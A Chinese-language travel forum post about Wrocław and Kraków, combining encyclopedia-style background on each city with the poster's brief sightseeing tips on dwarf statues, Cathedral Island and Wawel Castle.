波兰语:Wroc?aw;德语:Breslau,中文译为布雷斯劳;捷克语:Vratislav;拉丁语:Wratislavia 或 Vratislavia)是波兰城市,位于波兰西南部的奥得河畔,南面是西里西亚丘陵地带。奥得河流经市区的河段形成数座小岛,自1999年起是下西里西亚省的省会。该市人口约为635,800人(2005年),列 波兰第四大城(次于华沙、罗兹和克拉科夫),同时也是波兰仅次于华沙的第二大金融中心,在经济、文化、交通等诸多方面都在波兰具有相当重要的地位。弗罗茨瓦夫传统上是西里西亚工业区的核心城市。目前弗罗茨瓦夫的经济地位虽然不及二战以前,已经远远落后于昔日与之规模大致相当的慕尼黑或法兰克福,但在波兰,该市仍然属于经济发展最快的城市之一,经济规模在波兰城市中仅次于首都华沙。

楼主来这里只是过路,半日游而已

这里满地都是小矮人雕塑,散落在城市的不同地方,要仔细找找啦

市政厅附近的建筑、教堂和房子可以看一看

另外比较精彩的就是座堂岛,必去!

克拉科夫Krakow

很漂亮的城镇,当然,游客也经常停留在这里,多留出一天从这里去集中营

克拉科夫(Kraków,又称Cracow)克拉科夫全称克拉科夫皇家首都(波兰语:Królewskie Sto?eczne Mias),是克拉科夫省首府,直辖市。它位于维斯瓦河上游两岸,。建于700年前后,是中欧最古老的城市之一,为维斯瓦族的故乡。1320~1609年为波兰首都。克拉科夫历来是波兰学术的主要中心之一,文化和艺术生活,是波兰最重要的经济中心之一。被认为是欧洲最美丽的城市之一。2000年,克拉科夫被任命为欧洲文化之都。这座城市还将主办下届2016年世界青年日。

克拉科夫是波兰第三大城市,历史上波兰的故都。文艺复兴时期,波兰是欧洲东部最繁荣、最强大的国家。由于能够从立陶宛和俄罗斯那里接触到蒙古和中原文化的先进知识,波兰在很长时间内保持着欧洲最先进的国家的美誉。而克拉科夫则是欧洲文化和科学的中心。著名的天文学家哥白尼就曾在克拉科夫大学接受教育。

克拉科夫一直被旅游杂志称为新布拉格,这座文学气息很浓厚的城市,看过那么多的著名的欧洲广场,总是挤满了招揽游客的精品点餐馆等,但在Rynek Glowny广场南边就有一栋4层楼高的Empik书店,实属罕见,可见克拉科夫人对阅读的热爱。城市内有11所高等学校,其中雅盖隆大学最为著名。这里也是波兰古迹最为集中的地方,为波兰最大的旅游城市之一,每年游客达200多万人。建于700年前后,是中欧最古老的城市之一,为维斯瓦族的故乡。1320~1609年为波兰首都。维斯瓦河穿过城市。老城在河北岸,有保存完好的古城墙环绕。旅游波兰不见得一定要到华沙,但是绝不能错过克拉科夫。克拉科夫是中世纪欧洲首都的一个范例,从单一城堡发展为充满活力的两个新兴城市这是克拉科夫独具一格的城市发展特色。市内古典的建筑物,弥漫着中世纪的风情,被誉为波兰最美丽的城市。波兰王朝于1038年建都于克拉科夫,14至16世纪全盛时期期间,与布拉格和维也纳鼎足而立,是中欧三大文化中心。二次大战期间,波兰全境陷入战火,仅有克拉科夫悻免于难,完整保存了中世纪的旧城光华,因此联合国科文教组UNESCO在1978年把克拉科的旧城区列为世界文化遗产之一。克拉科夫为波兰的第三大城,是波兰的文化重镇。

整个城市最美的就是瓦维尔城堡Wawel Castle

选择在这里拍婚纱照的很多